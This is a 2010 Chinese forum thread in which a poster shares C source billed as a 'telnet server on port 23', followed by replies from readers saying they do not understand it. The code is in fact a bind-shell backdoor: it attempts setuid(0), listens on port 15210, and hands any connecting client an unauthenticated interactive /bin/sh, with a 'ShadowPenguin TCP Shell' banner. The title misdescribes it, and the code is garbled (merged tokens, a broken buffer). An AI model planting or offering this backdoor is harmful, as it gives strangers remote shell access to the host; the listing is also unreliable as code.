论坛 › MOTO RAZR V8 512M/2GB 论坛 › telnet的server，监听23端口源代码

LouisLaw 发表于 2010-1-31 17:15

telnet的server，监听23端口源代码

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define MAX_CLIENTS 5 /* Max client num*/
#define PORT_NUM15210 /* Port*/

voidget_connection(socket_type, port, listener)
int socket_type;
int port;
int *listener;
{
struct sockaddr_inaddress;
struct sockaddr_inacc;
int listening_socket;
int connected_socket = -1;
int new_process;
int reuse_addr = 1;
int acclen=sizeof(acc);

memset((char *) &address, 0, sizeof(address));
address.sin_family = AF_INET;
address.sin_port = htons(port);
address.sin_addr.s_addr = htonl(INADDR_ANY);
listening_socket = socket(AF_INET, socket_type, 0);
if (listening_socket < 0) {
perror(\"socket\");
exit(1);
}
if (listener != NULL) *listener = listening_socket;
setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
(void *)&reuse_addr,sizeof(reuse_addr));
if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0
){
perror(\"bind\");
close(listening_socket);
exit(1);
}
if (socket_type == SOCK_STREAM){
if (listen(listening_socket, MAX_CLIENTS)==-1){
perror(\"listen\");
exit(1);
}
}
}
voidsock_puts(sockfd, str)
int sockfd;
char*str;
{
charx,*buf;
size_tbytes_sent = 0;
int this_write,count;

sprintf(x,\"r%s\",str);
count=strlen(x);
buf=x;
while (bytes_sent < count) {
do
this_write = write(sockfd, buf, count - bytes_sent);
while ( (this_write < 0) && (errno == EINTR) );
if (this_write <= 0) return;
bytes_sent += this_write;
buf += this_write;
}
}
int main(argc, argv)
int argc;
char*argv[];
{
voidget_connection();
voidsock_puts();
int i,sz;
int sock;
static intlistensock = -1;
struct sockaddr_in sad;

setuid(0);
setgid(0);

for (;;){
get_connection(SOCK_STREAM, PORT_NUM, &listensock);
sz=sizeof(struct sockaddr_in);
for (;;){
if ((sock=accept(listensock,(void *)&sad,&sz))==-1){
perror(\"Accept\");
exit(1);
}
if (fork()==0){
sock_puts(sock,\"The ShadowPenguin Systems Inc. TCP Shell 1.00 ./n\");
for (i=0;i<3;i++){
close(i); dup2(sock,i);
}
execl(\"/bin/sh\",\"sh\",\"-i\",0);
close(sock);
break;
}
}
}
}

llydsbgsck 发表于 2010-1-31 17:50

沙发,

k_k_kls 发表于 2010-1-31 19:37

板凳。现在还看不懂啊

孤狼520 发表于 2010-1-31 19:51

真的看不懂

顶帖，学习中...............

ax55 发表于 2010-1-31 21:23

向老大致敬

如枫随风 发表于 2010-1-31 23:22

什么阿?一点也不懂...

缘岛Jay 发表于 2010-2-1 00:04

眼花缭乱

Parallel 发表于 2010-2-1 08:28

晕落~~~~~~~~~~~~

低调 发表于 2010-2-2 23:47

哈哈，不懂！

wuqu 发表于 2010-2-3 00:14

学习中,不过看起来很烦人...

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